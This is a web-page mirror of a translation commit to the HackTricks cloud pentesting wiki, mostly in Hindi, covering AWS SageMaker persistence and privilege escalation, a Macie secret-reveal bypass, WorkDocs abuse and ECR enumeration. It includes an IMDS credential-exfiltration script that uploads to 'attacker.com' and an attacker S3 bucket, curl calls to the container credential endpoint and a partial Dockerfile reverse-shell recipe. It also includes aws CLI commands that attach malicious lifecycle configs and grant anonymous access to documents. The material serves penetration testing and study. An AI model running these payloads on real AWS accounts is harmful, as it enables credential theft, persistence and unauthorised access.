gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-26 04:41:55 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

Browse Source
This commit is contained in:
Translator
2025-08-01 10:14:09 +00:00
parent bd36fa3c4c
commit ca400f92b8
47 changed files with 584 additions and 405 deletions
Download Patch File Download Diff File Expand all files Collapse all files

4
src/pentesting-cloud/aws-security/aws-persistence/README.md
View File

@@ -1 +1,3 @@
# AWS - स्थिरता
# AWS - Persistence
{{#include ../../../banners/hacktricks-training.md}}

30
src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
View File

@@ -1,8 +1,10 @@
# AWS - SageMaker Lifecycle Configuration Persistence
# Aws Sagemaker Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Overview of Persistence Techniques
यह अनुभाग SageMaker में स्थायीता प्राप्त करने के तरीकों को रेखांकित करता है, जिसमें Lifecycle Configurations (LCCs) का दुरुपयोग करना शामिल है, जैसे कि रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर। ये स्क्रिप्ट इंस्टेंस के IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है।
यह अनुभाग SageMaker में स्थिरता प्राप्त करने के तरीकों को रेखांकित करता है, जिसमें Lifecycle Configurations (LCCs) का दुरुपयोग करना शामिल है, जैसे कि रिवर्स शेल, क्रॉन जॉब, IMDS के माध्यम से क्रेडेंशियल चोरी, और SSH बैकडोर। ये स्क्रिप्ट इंस्टेंस के IAM भूमिका के साथ चलती हैं और पुनरारंभ के दौरान स्थायी रह सकती हैं। अधिकांश तकनीकों के लिए आउटबाउंड नेटवर्क एक्सेस की आवश्यकता होती है, लेकिन AWS नियंत्रण Plane पर सेवाओं का उपयोग करने से भी सफलता मिल सकती है यदि वातावरण 'VPC-only' मोड में है।
#### Note: SageMaker नोटबुक इंस्टेंस मूल रूप से मशीन लर्निंग कार्यभार के लिए विशेष रूप से कॉन्फ़िगर की गई प्रबंधित EC2 इंस्टेंस हैं।
## Required Permissions
@@ -38,11 +40,11 @@ aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Set Lifecycle Configuration on SageMaker Studio
## SageMaker स्टूडियो पर जीवनचक्र कॉन्फ़िगरेशन सेट करें
Lifecycle Configurations को विभिन्न स्तरों पर और SageMaker Studio के विभिन्न ऐप प्रकारों पर जोड़ा जा सकता है।
जीवनचक्र कॉन्फ़िगरेशन को विभिन्न स्तरों पर और SageMaker स्टूडियो के भीतर विभिन्न ऐप प्रकारों के लिए जोड़ा जा सकता है।
### Studio Domain Level (All Users)
### स्टूडियो डोमेन स्तर (सभी उपयोगकर्ता)
```bash
# Create Studio Lifecycle Configuration*
@@ -70,12 +72,12 @@ aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --s
}
}'
```
## Studio एप्लिकेशन लाइफसाइकिल कॉन्फ़िगरेशन के प्रकार
## Studio Application Lifecycle Configurations के प्रकार
लाइफसाइकिल कॉन्फ़िगरेशन को विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर विशेष रूप से लागू किया जा सकता है:
Lifecycle configurations को विशेष रूप से विभिन्न SageMaker Studio एप्लिकेशन प्रकारों पर लागू किया जा सकता है:
* JupyterServer: Jupyter सर्वर स्टार्टअप के दौरान स्क्रिप्ट चलाता है, जो रिवर्स शेल और क्रॉन जॉब्स जैसे पर्सिस्टेंस मैकेनिज्म के लिए आदर्श है।
* KernelGateway: कर्नेल गेटवे ऐप लॉन्च के दौरान निष्पादित होता है, प्रारंभिक सेटअप या स्थायी पहुंच के लिए उपयोगी है।
* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाले स्क्रिप्ट को सक्षम करता है।
* CodeEditor: कोड संपादक (Code-OSS) पर लागू होता है, जो कोड संपादन सत्रों की शुरुआत पर निष्पादित होने वाली स्क्रिप्टों को सक्षम करता है।
### प्रत्येक प्रकार के लिए उदाहरण कमांड:
@@ -103,11 +105,11 @@ aws sagemaker create-studio-lifecycle-config \
### Critical Info:
* डोमेन या स्पेस स्तर पर LCCs को संलग्न करना सभी उपयोगकर्ताओं या अनुप्रयोगों को प्रभावित करता है जो दायरे में हैं।
* उच्च अनुमतियों की आवश्यकता होती है (sagemaker:UpdateDomain, sagemaker:UpdateSpace) जो आमतौर पर स्पेस स्तर पर डोमेन स्तर की तुलना में अधिक व्यावहारिक होती हैं।
* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त निकासी फ़िल्टरिंग) सफल रिवर्स शेल या डेटा निकासी को रोक सकते हैं।
* नेटवर्क-स्तरीय नियंत्रण (जैसे, सख्त ईग्रेस फ़िल्टरिंग) सफल रिवर्स शेल या डेटा एक्सफिल्ट्रेशन को रोक सकते हैं।
## Reverse Shell via Lifecycle Configuration
SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है।
SageMaker Lifecycle Configurations (LCCs) कस्टम स्क्रिप्ट्स को निष्पादित करते हैं जब नोटबुक उदाहरण शुरू होते हैं। अनुमतियों के साथ एक हमलावर एक स्थायी रिवर्स शेल स्थापित कर सकता है।
### Payload Example:
```
@@ -133,11 +135,11 @@ chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## IMDS (v1 & v2) के माध्यम से क्रेडेंशियल एक्सफिल्ट्रेशन
## Credential Exfiltration via IMDS (v1 & v2)
लाइफसाइकिल कॉन्फ़िगरेशन IAM क्रेडेंशियल प्राप्त करने और उन्हें हमलावर-नियंत्रित स्थान पर एक्सफिल्ट्रेट करने के लिए इंस्टेंस मेटाडेटा सर्विस (IMDS) को क्वेरी कर सकते हैं।
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
### पेलोड उदाहरण:
### Payload Example:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
@@ -153,4 +155,4 @@ aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```
{{#include ../../../banners/hacktricks-training.md}}

2
src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
View File

@@ -1 +1,3 @@
# AWS - पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}

13
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md
View File

@@ -12,17 +12,17 @@ Macie के बारे में अधिक जानकारी के
### Amazon Macie - `Reveal Sample` इंटीग्रिटी चेक को बायपास करें
AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा, जैसे कि क्रेडेंशियल्स, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा का स्वचालित रूप से पता लगाती है। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पता लगाए गए डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता।
AWS Macie एक सुरक्षा सेवा है जो AWS वातावरण में संवेदनशील डेटा को स्वचालित रूप से पहचानती है, जैसे कि क्रेडेंशियल, व्यक्तिगत पहचान योग्य जानकारी (PII), और अन्य गोपनीय डेटा। जब Macie एक संवेदनशील क्रेडेंशियल की पहचान करता है, जैसे कि S3 बकेट में संग्रहीत AWS सीक्रेट की, तो यह एक खोज उत्पन्न करता है जो मालिक को पहचानित डेटा का "नमूना" देखने की अनुमति देता है। आमतौर पर, एक बार जब संवेदनशील फ़ाइल S3 बकेट से हटा दी जाती है, तो यह अपेक्षित होता है कि सीक्रेट को फिर से प्राप्त नहीं किया जा सकता।
हालांकि, एक **बायपास** की पहचान की गई है जहां एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पता किए गए सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे, वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं।
हालांकि, एक **बायपास** पहचाना गया है जहाँ एक हमलावर जिसके पास पर्याप्त अनुमतियाँ हैं, **एक ही नाम के साथ एक फ़ाइल को फिर से अपलोड कर सकता है** लेकिन जिसमें विभिन्न, गैर-संवेदनशील डमी डेटा होता है। इससे Macie को नई अपलोड की गई फ़ाइल को मूल खोज के साथ जोड़ने का कारण बनता है, जिससे हमलावर **"Reveal Sample" फीचर** का उपयोग करके पहले से पहचानित सीक्रेट को निकाल सकता है। यह समस्या एक महत्वपूर्ण सुरक्षा जोखिम प्रस्तुत करती है, क्योंकि जो सीक्रेट हटाए गए थे वे इस विधि के माध्यम से पुनः प्राप्त किए जा सकते हैं।
![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66)
**पुन: उत्पन्न करने के चरण:**
1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न होने की प्रतीक्षा करें।
1. एक फ़ाइल (जैसे, `test-secret.txt`) को संवेदनशील डेटा के साथ S3 बकेट में अपलोड करें, जैसे कि AWS सीक्रेट की। AWS Macie के स्कैन और खोज उत्पन्न करने की प्रतीक्षा करें।
2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पता लगाए गए सीक्रेट को देखने के लिए **Reveal Sample** फीचर का उपयोग करें।
2. AWS Macie खोजों पर जाएं, उत्पन्न खोज को खोजें, और पहचानित सीक्रेट देखने के लिए **Reveal Sample** फीचर का उपयोग करें।
3. S3 बकेट से `test-secret.txt` को हटा दें और सत्यापित करें कि यह अब मौजूद नहीं है।
@@ -30,8 +30,9 @@ AWS Macie एक सुरक्षा सेवा है जो AWS वात
5. AWS Macie खोजों पर वापस जाएं, मूल खोज तक पहुँचें, और फिर से **Reveal Sample** पर क्लिक करें।
6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर के खाते होगा**।
6. देखें कि Macie अभी भी मूल सीक्रेट को प्रकट करता है, भले ही फ़ाइल को हटा दिया गया हो और इसे **विभिन्न खातों से विभिन्न सामग्री के साथ प्रतिस्थापित किया गया हो, हमारे मामले में यह हमलावर का खाता होगा**।
**सारांश:**
यह भेद्यता एक हमलावर को, जिसके पास पर्याप्त AWS IAM अनुमतियाँ हैं, पहले से पता किए गए सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जाता है, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का परिणाम हो सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है।
यह भेद्यता एक हमलावर को पर्याप्त AWS IAM अनुमतियों के साथ पहले से पहचानित सीक्रेट को पुनः प्राप्त करने की अनुमति देती है, भले ही मूल फ़ाइल S3 से हटा दी गई हो। यदि एक AWS सीक्रेट की, एक्सेस टोकन, या अन्य संवेदनशील क्रेडेंशियल उजागर हो जाते हैं, तो एक हमलावर इस दोष का लाभ उठाकर इसे पुनः प्राप्त कर सकता है और AWS संसाधनों तक अनधिकृत पहुँच प्राप्त कर सकता है। इससे विशेषाधिकार वृद्धि, अनधिकृत डेटा पहुँच, या क्लाउड संपत्तियों के आगे के समझौते का कारण बन सकता है, जिससे डेटा उल्लंघन और सेवा में व्यवधान हो सकता है।
{{#include ../../../banners/hacktricks-training.md}}

22
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
View File

@@ -1,8 +1,10 @@
# AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
## AWS - Sagemaker Privesc
{{#include ../../../banners/hacktricks-training.md}}
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
@@ -12,12 +14,12 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
`NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक इंस्टेंस का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं जिसका उपयोग हम नोटबुक इंस्टेंस तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
उत्तर में एक `NotebookInstanceArn` फ़ील्ड होना चाहिए, जिसमें नए बनाए गए नोटबुक उदाहरण का ARN होगा। फिर हम `create-presigned-notebook-instance-url` API का उपयोग करके एक URL उत्पन्न कर सकते हैं, जिसका उपयोग हम नोटबुक उदाहरण तक पहुँचने के लिए कर सकते हैं जब यह तैयार हो:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\` पर क्लिक करें, फिर "Launcher" टैब पर स्क्रॉल करें और "Other" अनुभाग के तहत "Terminal" बटन पर क्लिक करें।
ब्राउज़र के साथ URL पर जाएं और शीर्ष दाएं कोने में \`Open JupyterLab\`\` पर क्लिक करें, फिर “Launcher” टैब पर स्क्रॉल करें और “Other” अनुभाग के तहत “Terminal” बटन पर क्लिक करें।
अब IAM भूमिका के मेटाडेटा क्रेडेंशियल्स तक पहुंचना संभव है।
@@ -25,7 +27,7 @@ aws sagemaker create-presigned-notebook-instance-url \
### `sagemaker:CreatePresignedNotebookInstanceUrl`
यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से) सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए गए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
यदि Jupyter **नोटबुक पहले से चल रहे हैं** और आप उन्हें `sagemaker:ListNotebookInstances` (या किसी अन्य तरीके से खोज सकते हैं) के साथ सूचीबद्ध कर सकते हैं। आप उनके लिए **एक URL उत्पन्न कर सकते हैं, उन तक पहुंच सकते हैं, और पिछले तकनीक में बताए अनुसार क्रेडेंशियल्स चुरा सकते हैं**।
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
@@ -33,7 +35,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
उन अनुमतियों के साथ एक हमलावर **सागेमेकर को एक प्रोसेसिंगजॉब** निष्पादित करने के लिए मजबूर कर सकता है जिसमें एक सागेमेकर भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो एक **AWS प्रबंधित ECS खाता उदाहरण** में चलाया जाएगा, और **संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है**।
एक हमलावर जिसके पास ये अनुमतियाँ हैं, वह **सागेमेकर को एक प्रोसेसिंगजॉब** निष्पादित करने के लिए कह सकता है जिसमें एक सागेमेकर भूमिका संलग्न है। हमलावर उस कंटेनर की परिभाषा निर्दिष्ट कर सकता है जो **AWS प्रबंधित ECS खाता उदाहरण** में चलाया जाएगा, और **संलग्न IAM भूमिका के क्रेडेंशियल्स चुरा सकता है**।
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -49,16 +51,16 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुरा सकेगा।
उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी। इसलिए, हमलावर भूमिका के क्रेडेंशियल्स चुराने में सक्षम होगा।
> [!WARNING]
> यह परिदृश्य पिछले वाले की तुलना में अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिव शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
> यह परिदृश्य पिछले वाले की तुलना में शोषण करने के लिए अधिक कठिन है क्योंकि आपको एक Docker छवि उत्पन्न करनी होगी जो रिवर्स शेल या क्रेड्स को सीधे हमलावर को भेजेगी (आप प्रशिक्षण नौकरी की कॉन्फ़िगरेशन में प्रारंभिक कमांड निर्दिष्ट नहीं कर सकते)।
>
> ```bash
> # Docker छवि बनाएँ
> mkdir /tmp/rev
> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य "train" को कॉल करने जा रही है
> ## यही कारण है कि मैं रिव शेल को /bin/train में रख रहा हूँ
> ## ध्यान दें कि प्रशिक्षण नौकरी एक निष्पादन योग्य को "train" कहा जाएगा
> ## यही कारण है कि मैं रिवर्स शेल को /bin/train में रख रहा हूँ
> ## <YOUR-IP-OR-DOMAIN> और <YOUR-PORT> के मान सेट करें
> cat > /tmp/rev/Dockerfile <<EOF
> FROM ubuntu
@@ -94,7 +96,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण नौकरी** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) एक **हाइपरपैरामीटर प्रशिक्षण कार्य** बनाने में सक्षम होगा, **इस पर एक मनमाना कंटेनर चलाते हुए** जिसमें एक **भूमिका संलग्न** होगी।\
_मैंने समय की कमी के कारण इसका लाभ नहीं उठाया, लेकिन यह पिछले शोषणों के समान लगता है, शोषण विवरण के साथ PR भेजने के लिए स्वतंत्र महसूस करें।_
## संदर्भ

12
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md
View File

@@ -1,5 +1,7 @@
# AWS - WorkDocs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## WorkDocs
WorkDocs के बारे में अधिक जानकारी के लिए देखें:
@@ -15,7 +17,7 @@ WorkDocs के बारे में अधिक जानकारी के
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`
### `workdocs:GetDocument`, `(workdocs:DescribeActivities)`
फाइलों में संवेदनशील जानकारी हो सकती है, इन्हें पढ़ें:
```bash
@@ -30,7 +32,7 @@ aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`
यदि आपके पास कुछ पढ़ने का एक्सेस नहीं है, तो आप बस इसे प्रदान कर सकते हैं
यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप बस इसे प्रदान कर सकते हैं।
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
@@ -38,9 +40,11 @@ aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymo
```
### `workdocs:AddUserToGroup`
आप एक उपयोगकर्ता को ZOCALO_ADMIN समूह में सेट करके व्यवस्थापक बना सकते हैं।\
आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\
इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें।
उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें।
मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया।
मैंने CLI से ऐसा करने का कोई तरीका नहीं पाया।
{{#include ../../../banners/hacktricks-training.md}}

30
src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
View File

@@ -1,12 +1,10 @@
# AWS - ECR Enum
## AWS - ECR Enum
{{#include ../../../banners/hacktricks-training.md}}
### ECR
## ECR
#### Basic Information
### Basic Information
Amazon **Elastic Container Registry** (Amazon ECR) एक **managed container image registry service** है। यह एक ऐसा वातावरण प्रदान करने के लिए डिज़ाइन किया गया है जहाँ ग्राहक अपने कंटेनर इमेज के साथ अच्छी तरह से ज्ञात इंटरफेस का उपयोग करके बातचीत कर सकते हैं। विशेष रूप से, Docker CLI या किसी भी पसंदीदा क्लाइंट का उपयोग समर्थित है, जो कंटेनर इमेज को पुश, पुल और प्रबंधित करने जैसी गतिविधियों को सक्षम बनाता है।
@@ -20,13 +18,13 @@ ECR 2 प्रकार की वस्तुओं से मिलकर ब
- **Private by default**: Amazon ECR प्राइवेट रजिस्ट्रियों में संग्रहीत कंटेनर इमेज **केवल अधिकृत उपयोगकर्ताओं** के लिए उपलब्ध हैं जो आपके AWS खाते के भीतर हैं या जिन्हें अनुमति दी गई है।
- एक **private repository** का URI इस प्रारूप का अनुसरण करता है `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
- **Access control**: आप **IAM नीतियों** का उपयोग करके अपनी निजी कंटेनर इमेज तक पहुँच को **नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं।
- **Access control**: आप **IAM नीतियों** का उपयोग करके अपनी प्राइवेट कंटेनर इमेज तक पहुँच को **नियंत्रित** कर सकते हैं, और आप उपयोगकर्ताओं या भूमिकाओं के आधार पर बारीक अनुमति कॉन्फ़िगर कर सकते हैं।
- **Integration with AWS services**: Amazon ECR प्राइवेट रजिस्ट्रियाँ अन्य AWS सेवाओं के साथ आसानी से **एकीकृत** की जा सकती हैं, जैसे EKS, ECS...
- **Other private registry options**:
- Tag immutability कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि टैग इम्यूटेबिलिटी सक्षम है तो यह **पूर्व-निर्धारित टैग** के साथ इमेज **पुश** को ओवरराइट करने से **रोक देगा**।
- **Encryption type** कॉलम रिपॉजिटरी की एन्क्रिप्शन विशेषताओं को सूचीबद्ध करता है, यह डिफ़ॉल्ट एन्क्रिप्शन प्रकार जैसे AES-256 दिखाता है, या **KMS** सक्षम एन्क्रिप्शन है।
- **Pull through cache** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि Pull through cache स्थिति सक्रिय है तो यह **आपकी निजी रिपॉजिटरी में एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को कैश करेगा**।
- विशिष्ट **IAM नीतियाँ** विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर की जा सकती हैं।
- **Pull through cache** कॉलम इसकी स्थिति को सूचीबद्ध करता है, यदि Pull through cache स्थिति सक्रिय है तो यह **आपकी प्राइवेट रिपॉजिटरी में एक बाहरी सार्वजनिक रिपॉजिटरी में रिपॉजिटरी को कैश करेगा**।
- विशिष्ट **IAM नीतियों** को विभिन्न **अनुमतियों** को देने के लिए कॉन्फ़िगर किया जा सकता है।
- **Scanning configuration** इमेज में भेद्यता के लिए स्कैन करने की अनुमति देता है जो रिपॉजिटरी के अंदर संग्रहीत हैं।
2. **Public Registries**:
@@ -36,10 +34,10 @@ ECR 2 प्रकार की वस्तुओं से मिलकर ब
**Repositories**
ये **इमेज** हैं जो **private registry** में या **public** में हैं।
ये **images** हैं जो **private registry** में या **public** में हैं।
> [!NOTE]
> ध्यान दें कि एक इमेज को रिपॉजिटरी में अपलोड करने के लिए, **ECR रिपॉजिटरी का नाम इमेज के समान होना चाहिए**।
> ध्यान दें कि एक इमेज को रिपॉजिटरी में अपलोड करने के लिए, **ECR repository का नाम इमेज के नाम के समान होना चाहिए**।
#### Registry & Repository Policies
@@ -47,7 +45,7 @@ ECR 2 प्रकार की वस्तुओं से मिलकर ब
<figure><img src="../../../images/image (280).png" alt=""><figcaption></figcaption></figure>
#### Enumeration
### Enumeration
```bash
# Get repos
aws ecr describe-repositories
@@ -67,33 +65,33 @@ aws ecr-public describe-repositories
aws ecr get-registry-policy
aws ecr get-repository-policy --repository-name <repo_name>
```
#### अनधिकृत Enum
### Unauthenticated Enum
{{#ref}}
../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
{{#endref}}
#### प्रिवेस्क
### Privesc
अगली पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं:
निम्नलिखित पृष्ठ पर आप **ECR अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं:
{{#ref}}
../aws-privilege-escalation/aws-ecr-privesc.md
{{#endref}}
#### पोस्ट एक्सप्लोइटेशन
### Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
#### स्थिरता
### Persistence
{{#ref}}
../aws-persistence/aws-ecr-persistence.md
{{#endref}}
## संदर्भ
## References
- [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)

2
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
View File

@@ -1 +1,3 @@
# AWS - सुरक्षा और पहचान सेवाएँ
{{#include ../../../../banners/hacktricks-training.md}}

58
src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md
View File

@@ -1,12 +1,10 @@
# AWS - Inspector Enum
## AWS - Inspector Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Inspector
## Inspector
Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों को भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है।
Amazon Inspector एक उन्नत, स्वचालित भेद्यता प्रबंधन सेवा है जिसे आपके AWS वातावरण की सुरक्षा बढ़ाने के लिए डिज़ाइन किया गया है। यह सेवा लगातार Amazon EC2 उदाहरणों, Amazon ECR में कंटेनर छवियों, Amazon ECS, और AWS Lambda कार्यों के लिए भेद्यताओं और अनपेक्षित नेटवर्क एक्सपोजर के लिए स्कैन करती है। एक मजबूत भेद्यता खुफिया डेटाबेस का लाभ उठाकर, Amazon Inspector विस्तृत निष्कर्ष प्रदान करता है, जिसमें गंभीरता स्तर और सुधार सिफारिशें शामिल हैं, जो संगठनों को सक्रिय रूप से सुरक्षा जोखिमों की पहचान और समाधान में मदद करती हैं। यह व्यापक दृष्टिकोण विभिन्न AWS सेवाओं में एक मजबूत सुरक्षा स्थिति सुनिश्चित करता है, अनुपालन और जोखिम प्रबंधन में सहायता करता है।
### Key elements
@@ -18,41 +16,41 @@ Amazon Inspector में निष्कर्ष EC2 उदाहरणों
- **Closed**: निष्कर्ष का समाधान किया गया है।
